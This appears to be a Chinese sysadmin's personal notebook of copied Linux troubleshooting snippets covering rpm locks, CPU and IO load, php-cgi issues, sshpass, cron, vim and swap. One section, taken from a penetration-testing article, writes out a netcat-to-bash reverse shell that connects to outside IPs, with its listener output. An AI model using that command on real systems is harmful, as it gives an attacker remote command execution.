rpm -ihv python-simplejson-2.0.9-8.el5.x86_64.rpm
warning: waiting for transaction lock on /var/lib/rpm/__db.000

rm -f /var/lib/rpm/__db.*
rpm --rebuilddb
yum clean all


再安装也就好了:
rpm -ihv python-simplejson-2.0.9-8.el5.x86_64.rpm
Preparing...                ########################################### [100%]
   1:python-simplejson      ########################################### [100%]
================================================================
故障现象:
[root@localhost Mysql4.1.14.Rhel3]# rpm -ivh MySQL*
warning: waiting for transaction lock on /var/lib/rpm/__db.000

解决方法:
   因为prm数据库出现损坏导致,可能导致多数rpm软件的升级、安装或者删除都会有问题。
此错误,请以root身份输入以下命令:
rm -f /var/lib/rpm/__db.*
rpm --rebuilddb
yum clean all

来自:http://blog.csdn.net/yunsongice/article/details/5587631
结论:僵尸进程 杀杀杀  杀不死 重启机器  
The system is going down for halt NOW!
====================================================

uptime
16:22:19 up 735 days,  5:48,  7 users,  load average: 59.70, 58.29, 54.91
close_wait状态出现的原因是被动关闭方未关闭socket造成
tcp      179      0 127.0.0.1:80                127.0.0.1:4184              CLOSE_WAIT  -                  
tcp      175      0 127.0.0.1:80                127.0.0.1:6038              CLOSE_WAIT  -                  
tcp      177      0 127.0.0.1:80                127.0.0.1:4121              CLOSE_WAIT  -  

netstat -atlunp|grep 80|grep CLOSE_WAIT|wc
3716   26012  405044


----查看当前进程打开了多少句柄数

# lsof -n|awk '{print $2}'|sort|uniq -c|sort -nr|more
162 34255
162 33984
162 33525
162 33356 
........

其中第一列是打开的句柄数,第二列是进程ID。


[root@itv-api_php_bj_syq_10_70_XX_XX www]# service nginx restart
Stopping nginx:                                            [  OK  ]
Starting nginx: nginx: [warn] conflicting server name "common.itv.cntv.cn" on 0.0.0.0:80, ignored
nginx: [warn] conflicting server name "api.itv.cntv.cn" on 0.0.0.0:80, ignored
nginx: [warn] conflicting server name "api.itv.cctv.com" on 0.0.0.0:80, ignored
nginx: [warn] conflicting server name "newcomment.cntv.cn" on 0.0.0.0:80, ignored
nginx: [warn] conflicting server name "common.newcomment.cntv.cn" on 0.0.0.0:80, ignored
nginx: [warn] conflicting server name "newcomment.cctv.com" on 0.0.0.0:80, ignored


strace  -f -p 56014  -p 56015  -p 56016  -p 56017  -p 56018  -p 56019  -p 56020  -p 56021  -p 56022  -p 56023  -p 56024  -p 56025
attach: ptrace(PTRACE_ATTACH, ...): Operation not permitted
Process 56015 attached - interrupt to quit
Process 56016 attached - interrupt to quit
Process 56017 attached - interrupt to quit
Process 56018 attached - interrupt to quit
Process 56019 attached - interrupt to quit

不是僵尸? 那就是孤儿

http://blog.csdn.net/wesleyluo/article/details/6079139
http://blog.chinaunix.net/uid-10257388-id-2967161.html
背景:面对一个不熟悉上面所跑哪些应用的16核心机器,出现负载到56这样的情况,而通过top命令后按P看CPU高的,也并不高,此时,可以想到的是某个核心太高,因为top里面默认的值是平均值,16个核心平均下来其CPU使用效率并不高,鉴于此,得在top输出时按下1,然后定位到某个核心高,才能有的放矢的查看该CPU上跑了哪些应用,贴个简单的命令吧,具体实践排查详细过程在:

实战,/usr/local/rsync/bin/rsync --daemon --config=/etc/rsyncd.conf :


Top命令下按1后第三行显示比较关键:
Cpu0  :  0.0%us,  0.0%sy,  0.0%ni,  0.0%id,100.0%wa,  0.0%hi,  0.0%si,  0.0%st
top命令的第三行“Cpu(s):  0.0%us,  0.0%sy,  0.0%ni,100.0%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st”显示的内容依次为“用户空间占用CPU百分比”、“内核空间占用CPU百分比”、“用户空间内改变过优先级的进程占用CPU百分比”、“空闲CPU百分比”、“等待输入输出CPU时间百分比”、“CPU服务于硬件中断所耗费的时间总额”、“CPU服务软中断所耗费的时间总额”、“Steal Time”

Kipmi0 占用100% CPU1核:
https://yq.aliyun.com/articles/15198

方法1:使用iotop工具
这是一个python脚本工具,使用方法如:iotop -o


方法2:使用工具dmesg
使用dmesg之前,需要先开启内核的IO监控:
echo 1 >/proc/sys/vm/block_dump或sysctl vm.block_dump=1


然后可以使用如下命令查看IO最重的前10个进程:
dmesg |awk -F: '{print $1}'|sort|uniq -c|sort -rn|head -n 10


方法3:使用命令“iostat -x 1“确定哪个设备IO负载高:
# iostat -x 1 3
avg-cpu:  %user   %nice %system %iowait  %steal   %idle
           1.06    0.00    0.99    1.09    0.00   97.85


Device:    rrqm/s wrqm/s   r/s   w/s  rsec/s  wsec/s    rkB/s    wkB/s avgrq-sz avgqu-sz   await  svctm  %util
sda          0.49  17.29  1.74  6.75   23.47  200.18    11.73   100.09    26.33     0.10   12.25   5.73   4.87


找“await”值最大的设备(Device),如上的结果即为sda。


然后使用mount找到sda挂载点,再使用fuser命令查看哪些进程在访问,如:
# fuser -vm /data

==================================================================================
进程占用cpu资源过多负载高的原因分析及解决步骤
2011-10-20 10:30:05
标签:负载高 nginx 休闲 apache linux
觉得写的非常好,以后会用到 ,所以转了过来,一切归原作者所有!
转自这里
服务器环境:redhat linux 5.5 , nginx , phpfastcgi


在此环境下,一般php-cgi运行是非常稳定的,但也遇到过php-cgi占用太多cpu资源而导致服务器响应过慢,我所遇到的php-cgi进程占用cpu资源过多的原因有:


1. 一些php的扩展与php版本兼容存在问题,实践证明 eAccelerater与某些php版本兼容存在问题,具体表现时启动php-cgi进程后,运行10多分钟,奇慢无比,但静态资源访问很快,服务器负载也很正常(说明nginx没有问题,而是php-cgi进程的问题),解决办法就是从php.ini中禁止掉eAccelerater模块,再重启 php-cgi进程即可


2. 程序中可能存在死循环,导致服务器负载超高(使用top指令查看负载高达100+), 需要借助Linux的proc虚拟文件系统找到具体的问题程序


3. php程序不合理使用session , 这个发生在开源微博记事狗程序上,具体表现是有少量php-cgi进程(不超过10个)的cpu使用率达98%以上, 服务器负载在4-8之间,这个问题的解决,仍然需要借助Linux的proc文件系统找出原因。


4. 程序中存在过度耗时且不可能完成的操作(还是程序的问题),例如discuz x 1.5的附件下载功能: source/module/forum/forum_attachement.php中的定义
function getremotefile($file) {
global $_G;
@set_time_limit(0);
if(!@readfile($_G['setting']['ftp']['attachurl'].'forum/'.$file)) {
$ftp = ftpcmd('object');
$tmpfile = @tempnam($_G['setting']['attachdir'], '');
if($ftp->ftp_get($tmpfile, 'forum/'.$file, FTP_BINARY)) {
@readfile($tmpfile);
@unlink($tmpfile);
} else {
@unlink($tmpfile);
return FALSE;
}
}
return TRUE;
}  


没有对传入的参数作任何初步检查,而且设置了永不超时,并且使用readfile一次读取超大文件,就可能存在以下问题:
A. 以http方式读取远程附件过度耗时
B. FTP无法连接时,如何及时反馈出错误?
C. readfile是一次性读取文件加载到内存中并输出,当文件过大时,内存消耗惊人


根据实验发现采用readfile一次性读取,内存消耗会明显增加,但是CPU的利用率会下降较多。如果采用分段读取的方式,内存消耗会稍微下降,而CPU占用却会明显上升。


对discuz x 1.5的这个bug较好解决方法就是后台重新正确设置远程附件参数。


以下是我逐步整理的故障排除步骤:


1. 得到占用cpu资源过多的php-cgi进程的pid(进程id), 使用top命令即可,如下图:
经过上图,我们发现,有两个php-cgi进程的cpu资源占用率过高,pid分别是10059,11570,这一般都是程序优化不够造成,如何定位问题的php程序位置?


2. 找出进程所使用的文件
/proc/文件系统保存在内存中,主要保存系统的状态,关键配置等等,而/proc/目录下有很多数字目录,就是进程的相关信息,如下图,我们看看进程10059正在使用哪些文件?
显然,使用了/home/tmp/sess_*文件,这明显是PHP的session文件, 我们查看这个session文件的内容为:view_time|123333312412


到这里,我们已经可以怀疑是由于php程序写入一个叫view_time的session项而引起, 那么剩余的事件就是检查包含view_time的所有php文件,然后修改之(比如改用COOKIE),这实话, 这个view_time并非敏感数据,仅仅记录用户最后访问时间,实在没必要使用代价巨大的session, 而应该使用cookie。


3. 找出有问题的程序,修改之
使用vi编辑以下shell程序(假设网站程序位于/www目录下)
#!/bin/bash
find /www/ -name "*.php" > list.txt

f=`cat ./list.txt`

for n in $f
do
r=`egrep 'view_time' $n`
if [ ! "$r" = "" ] ; then
echo $n
fi
done  
运行这个shell程序,将输出包含有view_time的文件, 对记事狗微博系统,产生的问题位于modules/topic.mod.class文件中
来自这里
大家好,公司有一台服务器上部署了mysql+php+apache!
但是发现apache有一个httpd进程占用很高的cup,请教有没有什么命令能查看到时什么文件调用了这个进程?

lsof -p 13321


http://blog.csdn.net/aquester/article/details/51557879
http://blog.chinaunix.net/uid-7934175-id-4013411.html
Linux字符串md5,注意得echo -n ,-n就是去空格,如果不加 -n则会有空格输出:
echo -n re0XY6?ki|md5sum|awk '{print $1}'
270899509597f424b626b14034622c89
------------------------------------------------------------
mysql> select md5("re0XY6?ki");
+----------------------------------+
| md5("re0XY6?ki")                 |
+----------------------------------+
| 270899509597f424b626b14034622c89 |
+----------------------------------+
1 row in set (0.00 sec)
=============================================

Linux系统有一个自带的生成密码的命令,这个命令异常强悍,可以帮助我们生成随机密码,要知道,现在的黑客无处不在,想一个难猜的密码还真的下点功夫,有了这个密码生成工具,就可以为管理员节省好多脑细胞啊,下面看下这个命令的使用:

[root@CentOS6 game-dir]# mkpasswd

JI>s64tyv

[root@centos6 game-dir]# mkpasswd -l 12

e/Hwyw8Kied6

[root@centos6 game-dir]# mkpasswd -l 12 -d 3

zas4Ery+5K8l

[root@centos6 game-dir]# mkpasswd -l 12 -c 4

ff9bT7b}npmM

[root@centos6 game-dir]# mkpasswd -l 12 -C 4

x3TwqtSKh}2T

[root@centos6 game-dir]# mkpasswd -l 12 -s 4

px}[aO8cF':8

[root@centos6 game-dir]# mkpasswd -l 18 -s 4 -c 4 -C 4

;.8zW3dGiwmb@dyWO&

下面来简单介绍一下常用的参数含义:

usage: mkpasswd [args] [user]

where arguments are:

-l #      (length of password, default = 7)

                  指定密码的长度,默认是7位数

-d #      (min # of digits, default = 2)

                  指定密码中数字最少位数,默认是2位

-c #      (min # of lowercase chars, default = 2)

                  指定密码中小写字母最少位数,默认是2位

-C #      (min # of uppercase chars, default = 2)

                  指定密码中大写字母最少位数,默认是2位

-s #      (min # of special chars, default = 1)

                  指定密码中特殊字符最少位数,默认是1位

-v        (verbose, show passwd interaction)

                  这个参数在实验的时候报错,具体不知道。
yum install -y sysstat

查看所有CPU内每一个处理器负载,刷新频率1S(根据物理CPU个数)
mpstat -P ALL 1

点击在新窗口中浏览此图片


查看指定的处理器负载(-P 后的数字从0开始),刷新频率1S
mpstat -P 0 -P 1 1

点击在新窗口中浏览此图片

yum install -y iotop

查看进程IO
iotop

点击在新窗口中浏览此图片


cpu使用率低负载高,原因分析:
http://www.fblinux.com/?p=281


Linux 系统没有业务程序运行,通过 top 观察,类似如下图所示,CPU 很空闲,但是 load average 却非常高:
处理办法:
load average 是对 CPU 负载的评估,其值越高,说明其任务队列越长,处于等待执行的任务越多。
出现此种情况时,可能是由于僵死进程导致的。可以通过指令 ps -axjf  查看是否存在 D 状态进程。
D 状态是指不可中断的睡眠状态。该状态的进程无法被 kill,也无法自行退出。只能通过恢复其依赖的资源或者重启系统来解决。
From:https://help.aliyun.com/knowledge_detail/41225.html
背景:百度云是个好东西,Linux 下能命令行使用是最好不过的了。

yum-config-manager --add-repo=https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-$(rpm -E %?rhel)/mosquito-myrepo-epel-$(rpm -E %?rhel).repo
-bash: yum-config-manager: 未找到命令


系统默认没有安装这个命令,这个命令在yum-utils 包里,可以通过命令yum -y install yum-utils 安装就可以了。
步骤一:先找到软件包安装路径
whereis yum-config-manager
yum-config-manager: /usr/bin/yum-config-manager /usr/share/man/man1/yum-config-manager.1.gz

步骤二:再根据RPM包的命令传入程序路径后反查到这个软件所属于哪个RPM包:
rpm -qf /usr/bin/yum-config-manager
yum-utils-1.1.31-40.el7.noarch

================================================================
CentOS 7 使用如下命令安装 bcloud:
# yum-config-manager --add-repo=https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-$(rpm -E %?rhel)/mosquito-myrepo-epel-$(rpm -E %?rhel).repo
# yum localinstall http://li.nux.ro/download/nux/dextop/el$(rpm -E %rhel)/x86_64/nux-dextop-release-0-2.el$(rpm -E %rhel).nux.noarch.rpm
# yum install bcloud


来自:http://jingyan.baidu.com/article/4dc40848b761cbc8d846f172.html

实践如下:

yum-config-manager --add-repo=https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-$(rpm -E %?rhel)/mosquito-myrepo-epel-$(rpm -E %?rhel).repo
已加载插件:fastestmirror
adding repo from: https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-7/mosquito-myrepo-epel-7.repo
grabbing file https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-7/mosquito-myrepo-epel-7.repo to /etc/yum.repos.d/mosquito-myrepo-epel-7.repo
repo saved to /etc/yum.repos.d/mosquito-myrepo-epel-7.repo




yum localinstall http://li.nux.ro/download/nux/dextop/el$(rpm -E %rhel)/x86_64/nux-dextop-release-0-2.el$(rpm -E %rhel).nux.noarch.rpm
依赖关系解决

=========================================================================================================================================================================================
Package                                     架构                            版本                                  源                                                               大小
=========================================================================================================================================================================================
正在安装:
nux-dextop-release                          noarch                          0-2.el7.nux                           /nux-dextop-release-0-2.el7.nux.noarch                          3.5 k
为依赖而安装:
epel-release                                noarch                          7-9                                   epel                                                             14 k

事务概要
=========================================================================================================================================================================================
安装  1 软件包 (+1 依赖软件包)

总计:18 k
安装:
  nux-dextop-release.noarch 0:0-2.el7.nux                                                                                                                                                

作为依赖被安装:
  epel-release.noarch 0:7-9                                                                                                                      



yum clean all


yum install bcloud
已加载插件:fastestmirror
Repository epel is listed more than once in the configuration
Repository epel-debuginfo is listed more than once in the configuration
Repository epel-source is listed more than once in the configuration
https://copr-be.cloud.fedoraproject.org/results/mosquito/myrepo/epel-7-x86_64/repodata/repomd.xml: [Errno 14] HTTPS Error 404 - Not Found
正在尝试其它镜像。
To address this issue please refer to the below knowledge base article

https://access.redhat.com/articles/1320623

If above article doesn't help to resolve this issue please create a bug on https://bugs.centos.org/

nux-dextop                                                                                                                                                        | 2.9 kB  00:00:00    
nux-dextop/x86_64/primary_db                                                  44% [=============================-                                      ]  32 kB/s | 745 kB  00:00:29 ETA




http://www.linuxdown.net/soft/2015/0127/3799.html
https://github.com/houtianze/bypy/blob/master/README.md



./gh
529960480-handle-gethostbyname
hostname=justwinit-php-mysql_bj_sjs_10_44_202_177
addr:127.0.0.1

来自:http://blog.csdn.net/zzz_781111/article/details/7372024
背景:在用Ansible的脚本初始化环境时,在CentOS5.x出现No Package matching 'cronie' found available,而在CentOS6.x上是OK的。
原因:centos6有些商家镜像没有带crontab,需要的话要自己安装,但是centos6和centos5安装crontab是不一样的,因为变更了一些依赖关系。



CentOS6.x:
/usr/bin/crontab -e
rpm -qf /usr/bin/crontab
cronie-1.4.4-15.el6_7.1.x86_64

注意:On CentOs 6 you can still install vixie-cron, but the real package is cronie:
yum install vixie-cron
或者
yum install cronie
ansible MHA_KEEPALIVED -a"service  crond start"
ansible MHA_KEEPALIVED -a"yum install cronie -y"

[root@rh08 ~]# service crond restart
Stopping crond:                                            [  OK  ]
Starting crond:                                            [  OK  ]

CentOS5.x:
/usr/bin/crontab -e
rpm -qf  /usr/bin/crontab
vixie-cron-4.1-81.el5

crontab package in CentOS is vixie-cron.
yum install vixie-cron
service crond start
chkconfig crond on


service crond restart
Stopping crond:                                            [  OK  ]
Starting crond:                                            [  OK  ]


On CentOS 7 vixie-cron is not longer available, so you need to use cronie:
yum install cronie

From:http://www.zxsdw.com/index.php/archives/1151/
背景:在多台机器上同步一个文件,尤其是刚开始重装系统或没有ansible这样的运维工具,比如想批量给升级一下yum源,用rz 是可以的,如果十来台还成,上五十台就有点麻烦了。sshpass是个好东西,结合scp和shell能完成很多台机器的文件的拷贝,然后结合sudo把文件挪动到root才能去的地方。其实还有一个expect脚步也有这个自动捕获输出并自动输入密码。但如果是第一次连接,expect可能捕获的输出可能是yes啥的输出,spawn这个命令也是expect的rpm包的一个命令,但都得yum安装,这个引出新的安装问题,http://justwinit.cn/post/5089/,还是讲sshpass包。

关于sshpass:
rpm -qf /usr/bin/sshpass
sshpass-1.05-1.el6.x86_64

sshpass: 用于非交互的ssh 密码验证

ssh登陆不能在命令行中指定密码,也不能以shell中随处可见的,sshpass 的出现,解决了这一问题。它允许你用 -p 参数指定明文密码,然后直接登录远程服务器。 它支持密码从命令行,文件,环境变量中读取

$> sshpass -h

Usage: sshpass [-f|-d|-p|-e] [-hV] command parameters
   -f filename Take password to use from file
   -d number Use number as file descriptor for getting password
   -p password Provide password as argument (security unwise)
   -e Password is passed as env-var "SSHPASS"
   With no parameters - password will be taken from stdin

   -h Show help (this screen)
   -V Print version information
At most one of -f, -d, -p or -e should be used

sshpass [-f|-d|-p|-e] [-hV] command parameters 中的 command parameters 和使用交互式密码验证的使用方法相同

#从命令行方式传递密码

    $> sshpass -p user_password ssh user_name@192.168..1.2
    $> sshpass -p user_password scp -P22 192.168.1.2:/home/test/t .

#从文件读取密码

    $> echo "user_password" > user.passwd
    $> sshpass -f user.passwd ssh user_name@192.168..1.2

#从环境变量获取密码

    $> export SSHPASS="user_password"
    $> sshpass -e ssh user_name@192.168..1.2


源码位置:http://sourceforge.net/projects/sshpass/
摘录自:http://m.blog.csdn.net/article/details?id=7293274
按顺序开三个SecureCRT终端,在一里面输入echo "hello jackX",会在二里面显示hello jackX:
一、
nc -l -p 1234 -vv
echo "hello jackX"

二、
nc -l -p 4321 -vv
hello jackX

三、
nc 10.44.202.177 1234|/bin/bash|nc 10.44.202.177 4321
nc 123.57.252.183 1234|/bin/bash|nc 123.57.252.183 4321



这时我们就可以在1234端口输入命令,在4321端口查看命令的输出了。

管道“|”可以将上一个命令的输出作为下一个命令的输入。所以上面命令的意思就是将10.42.0.1:1234传过来的命令交给/bin/bash执行,再将执行结果传给10.44.202.177:4321显示。



nc -l -p 4321 -vv
nc -l -p 4321 -vv
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::4321
Ncat: Listening on 0.0.0.0:4321
Ncat: Connection from 10.44.202.177.
Ncat: Connection from 10.44.202.177:59294.


nc -l -p 1234 -vv
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.44.202.177.
Ncat: Connection from 10.44.202.177:51650.


nc 10.44.202.177 1234|/bin/bash|nc 10.44.202.177 4321
触发上面两个。

摘自实践自:【【安全客】Linux渗透之反弹Shell】http://m.toutiao.com/group/6398009141268365570/?iid=7737129548&app=news_article&tt_from=copy_link&utm_source=copy_link&utm_medium=toutiao_ios&utm_campaign=client_share
使用”q/“命令打开了command-line窗口,这个窗口列出了我之前所查找的字符串。我现在想查找包含”check_swap“,于是先跳到第399行,把”check_tty“改为”check_swap“,然后按回车。此时vim就去查找包含”check_swap“位置了。这个例子比较简单,你可能觉得command-line窗口没什么必要,但如果你要查找的内容是一个很长的正则表达式,你就会发现它非常有用了。

一、vim在窗口的最上面显示当前打开文件的路径和文件名
在~/.vimrc 中添加如下代码,配置vim窗口最上边的显示内容:

let &titlestring = expand("%:p")
if &term == "screen"
  set t_ts=^[k
  set t_fs=^[\
endif
if &term == "screen" || &term == "xterm"
  set title
endif


如果把上面代码中的expand("%:p")换成expand("%:t")将不显示路径只显示文件名。
一句话——在里面输入:pwd即可
来自:http://blog.sina.com.cn/s/blog_4ddef8f80101ecw4.html

二、vim 跳到指定行:
在编辑模式下输入
ngg 或者 nG


n为指定的行数(如25)


25gg或者25G 跳转到第25行.


在命令模式下输入行号n


: n


如果想打开文件即跳转


vim +n FileName


查看当然光标所在的行
Ctrl+g

三、移动光标到下一个单词的词首和移动光标到下一个单词的词首:
vim中,移动光标到下一个单词的词首,使用命令”w“,移动光标到下一个单词的词首,使用命令”b“;移动光标到下一个单词的结尾,用命令”e“,移动光标到上一个单词的结尾,使用命令”ge“。


四、[ 移动到指定字符 ],这里发现t命令用不了:

上面的命令都是行间移动(除h, l外),也就是从当前行移动到另外一行。如果我们想在当前行内快速移动,可以使用f, t, F, T命令。

“f“命令移动到光标右边的指定字符上,例如,”fx“,会把移动到光标右边的第一个’x’字符上。”F“命令则反方向查找,也就是移动到光标左边的指定字符上。

“t“命令和”f“命令的区别在于,它移动到光标右边的指定字符之前。例如,”tx“会移动到光标右边第一个’x’字符的前面。”T“命令是”t“命令的反向版本,它移动到光标右边的指定字符之后。

这四个命令只在当前行中移动光标,光标不会跨越回车换行符。

可以在命令前面使用数字,表示倍数。例如,”3fx“表示移动到光标右边的第3个’x’字符上。

“;“命令重复前一次输入的f, t, F, T命令,而”,“命令会反方向重复前一次输入的f, t, F, T命令。这两个命令前也可以使用数字来表示倍数。

来自:http://easwy.com/blog/archives/advanced-vim-skills-basic-move-method/
http://www.360doc.com/content/15/0824/20/26347842_494523898.shtml
sudo update-manager。
此时,系统就会开始检查是否有软件或者内核更新。
如果有更新,就会弹出上面的软件更新器。
Ubuntu软件或系统更新
好了,我们点击立即安装。
Ubuntu软件或系统更新
此处,需要提示大家的是,我们在此处也可以点击 软件更新器的设置,打开 软件和更新弹窗,进行一些设置。
Ubuntu软件或系统更新
我们此处不做设置,点击关闭后,再点击立即安装,开始升级系统。
点击,详情,可以查看进度及更新的软件包情况。
Ubuntu软件或系统更新
Ubuntu软件或系统更新
等待一段时间后,更新结束。
提示:计算机需要重启以完成安装更新。


来自:http://jingyan.baidu.com/article/a17d5285113afc8098c8f2e3.html?qq-pf-to=pcqq.group
ubuntu 16.04在升级17.04时候,出现Failed to start Load Kernel Modules 解决方法:
升级的时候不小心重启了,就看到出现这个错误,鼠标挂了,wifi没了,当时感觉是重装系统的节奏了,搜了下,有治。方法如下:
进入到命令行模式:ctl + alt + F1
在root模式下输入一下指令:
apt-get update

dpkg --configure -a

apt-get dist-upgrade

apt-get -f install

reboot

到此就可以了,这是在ubuntuforums.org上看到的。特此记录!!!

来自:http://m.blog.csdn.net/article/details?id=54091293
https://askubuntu.com/questions/809199/failed-to-start-load-kernel-modules-ubuntu-16-04
Ubuntu 16.04安装和配置Sublime Text 3:
http://www.th7.cn/system/lin/201604/162651.shtml
背景:buntu17.04连接CentOS7.3出现类似问题,用的也是Linux下的SecureCRT7的版本查看文件时候用Tab键出现Wuff —- Wuff!! ,用的也是Linux下的SecureCRT7的版本,做如下修改后就好了。
If you use OS X, and manage multiple machines over SSH, you’ve probably come across and used screen.

You may have noticed that if you SSH to a Linux host from Mac OS X, and try to use the backspace or tab key within a screen session, that you get the “Wuff —- Wuff!!” prompt at the bottom.

Thankfully, the resolution to this problem is easy.

On the remote machine, if you open your ~/.bash_profile file in a text editor (.bash_profile in your home directory), you need to add the following line:

alias screen='TERM=screen screen'
Add that, save the file and you’re done!  You’ll need to re-run bash or just log out and log back in, but when you do, the next screen session you open, you’ll find that the backspace/tab key works again as expected!


From:http://droptips.com/wuff-wuff-from-mac-os-x-to-a-screen-session-on-linux
参考原文:
yum install -y yum-downloadonly

yum install PHP-MySQL -y --downloadonly --downloaddir=/opt

rpm -ivh --force --nodeps php-mysql-5.3.3-22.el6.x86_64.rpm

From:http://blog.csdn.net/anghlq/article/details/9165329
=====================================
实践如下:
yum install gcc autoconf cmake unzip vim libcurl-devel zlib-devel curl-devel expat-devel gettext-devel openssl-devel perl-devel nodejs libicu-devel wget curl mysql-devel
下载量:6.2 M
安装大小:31 M
Is this ok [y/d/N]: y
Downloading packages:
(1/5): gettext-devel-0.18.2.1-4.el7.x86_64.rpm                                                  | 315 kB  00:00:00    
(2/5): perl-Git-1.8.3.1-6.el7_2.1.noarch.rpm                                                    |  53 kB  00:00:00    
(3/5): mariadb-devel-5.5.52-1.el7.x86_64.rpm                                                    | 750 kB  00:00:00    
(4/5): mariadb-libs-5.5.52-1.el7.x86_64.rpm                                                     | 761 kB  00:00:00    
(5/5): git-1.8.3.1-6.el7_2.1.x86_64.rpm                                                         | 4.4 MB  00:00:04    
-----------------------------------------------------------------------------------------------------------------------
Transaction check error:
  file /etc/my.cnf from install of mariadb-libs-1:5.5.52-1.el7.x86_64 conflicts with file from package mysql-8.0.1-170622164613.el7.centos.x86_64

错误概要
-------------
yum install mariadb-libs-1:5.5.52-1.el7.x86_64 -y --downloadonly --downloaddir=/tmp
rpm -ihv  mariadb-libs-5.5.52-1.el7.x86_64.rpm  --nodeps --force


已安装:
  gettext-devel.x86_64 0:0.18.2.1-4.el7                       mariadb-devel.x86_64 1:5.5.52-1.el7                      
作为依赖被安装:
  git.x86_64 0:1.8.3.1-6.el7_2.1                          perl-Git.noarch 0:1.8.3.1-6.el7_2.1
ubuntu下hdparm测试硬盘速度

root@jack:~# fdisk -l
Disk /dev/sda: 74.5 GiB, 80026361856 bytes, 156301488 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x1555e2a7

设备       启动     Start    末尾    扇区  Size Id 类型
/dev/sda1  *         2048 151093247 151091200   72G 83 Linux
/dev/sda2       151095294 156301311   5206018  2.5G  5 扩展
/dev/sda5       151095296 156301311   5206016  2.5G 82 Linux 交换 / Solaris


root@jack:~# hdparm -t /dev/sda1

/dev/sda1:
Timing buffered disk reads: 112 MB in  3.03 seconds =  36.97 MB/sec

=========================================================
hdparm -t /dev/hda (IDE硬盘)
hdparm -t /dev/sda (SATA、SCSI、硬RAID卡阵列)
hdparm -t /dev/md0 (软RAID设备)

From:http://blog.csdn.net/amds123/article/details/68961474
http://www.jb51.net/LINUXjishu/160512.html
在ubuntu 17.04上安装了Chromium出现对话框输入密码解锁登录密钥环,如下所示:


因为密码框截图困难,这个是网上图片。

点取消就可以使用,但是每次都这样很烦,搜索后得解:
在终端输入seahorse,打开密钥管理软件,如下,注意不要加sudo:
OpenSSH Key ==>密码密钥环===》新建一个密码密钥环,chromium:

设定好密码后,再打开chromium,输入系统登录密码就OK了,之后也不会多次出现了。

From:http://www.linuxdiyf.com/linux/25176.html
  我在安装Ubuntu 16.04 LTS的时候,因为磁盘分区问题,在安装的时候没有设置SWAP分区,后来在使用过程中,时而出现系统运行不流畅的情况,看来SWAP分区还是需要的。

1. 在Ubuntu中配置使用新创建的Swap分区

Command list:

# 查找Swap分区的UUID

sudo blkid

# 在/ect/fstab中加入新的Swap分区

sudo gedit /etc/fstab

# 在最后加入下列内容,xxxx为Swap分区的UUID

UUID=xxxx  none            swap    sw                0      0

# 激活Swap分区,Swap分区为/dev/sda3

sudo swapon /dev/sda3

2. 在Ubuntu中使用file当swap

Command list:

# 创建1个1GB的file

sudo dd if=/dev/zero of=/mnt/1GB.swap bs=1M count=1024

# 格式化为Swap file

sudo mkswap /mnt/1GB.swap

# 把swap file加入到系统中

sudo swapon /mnt/1GB.swap

上面的操作只是临时添加1个swap file,如果要做永久添加,则需要下列步骤。

# 在/ect/fstab中加入新的Swap分区

sudo gedit /etc/fstab

# 在最后加入下列内容

/mnt/1GB.swap none swap sw 0 0

3. Ubuntu的swap使用策略

Command list:

# 查看memory/buffer/Swap使用情况。

free

# 查看swap使用策略,Swap和memory各占百分百

# 默认是60,即Swap占60%,memory占40%

cat /proc/sys/vm/swappiness

# 修改swap使用策略

# 仅本次开机有效,重启后恢复原值

sudo sysclt vm.swappiness=20

# 修改swap使用策略,系统默认值

# 需要重启系统后,才能生效

sudo gedit /etc/sysctl.conf

# 在最后添加下列内容:

#################################################

# Set Swap usable availability

#        Swap <-------> physical memory

# default: 60%                40%

vm.swappiness=20

4. 关闭swap

sudo swapoff -a
swapon -s
Filename                                Type            Size    Used   Priority
/dev/sda2                               partition       2047992 0       -1

来自: http://www.linuxidc.com/Linux/2013-03/80208.htm
rpm -qf /usr/bin/nproc
coreutils-8.22-18.el7.x86_64

#nproc
1
---------------------------------------
也可这样查:
#cat /proc/cpuinfo
processor       : 0
背景:在打RPMBUILD一个张宴兄弟的httpsqs结合Libevent1.4.13的包的时候,出现错误,本来他写的是Libevent2.0,顾问在微信问了张宴兄弟下他本人说1.4.13也是也没有啥问题的,就要问了:为何要降级,因为Memcached也需要这个Libevent的低版本的,没办法,Httpsqs所以来的Libevnet也跟着降吧。出现问题:ERROR: No build ID note found in

BuildRequires: gcc,gcc-c++,make,tokyocabinet = 1.4.48,libevent >= 1.4.13
Requires: tokyocabinet = 1.4.48,libevent >= 1.4.13



还不够,得加这一行,因为不加会提示:
AutoReqProv:   no
Rpmbuild自己会自动依赖一些so动态链接库的东西,给关掉:

rpm -ihv /home/test/rpmbuild/RPMS/x86_64/httpsqs-1.7-170522172954.el6.x86_64.rpm
error: Failed dependencies:
        libevent-2.0.so.5()(64bit) is needed by httpsqs-1.7-170522172954.el6.x86_64


问题依旧:
service httpsqs start
Starting httpsqs: /usr/local/httpsqs/httpsqs: error while loading shared libraries: libevent-2.0.so.5: cannot open shared object file: No such file or directory
                                                           [FAILED]

反查一个源码,如下:
tar -zxvf httpsqs-1.7.tar.gz
httpsqs-1.7/
httpsqs-1.7/httpsqs.c
httpsqs-1.7/prename.h
httpsqs-1.7/prename.c
httpsqs-1.7/Makefile
httpsqs-1.7/.Makefile.swp
httpsqs-1.7/httpsqs   (这个文件应该是一个二进制文件,去了编译不过去,报错)

gcc -o httpsqs httpsqs.c prename.c -Wl,-rpath,/usr/local/libevent/lib/:/usr/local/tokyocabinet/lib/ -L/usr/local/libevent/lib/ -levent -L/usr/local/tokyocabinet/lib/ -ltokyocabinet -I/usr/local/libevent/include/ -I/usr/local/tokyocabinet/include/ -lz -lbz2 -lrt -lpthread -lm -lc -O2 -g
httpsqs.c: In function 'httpsqs_handler':
httpsqs.c:350: error: 'struct evhttp_request' has no member named 'uri_elems'
make: *** [httpsqs] Error 1
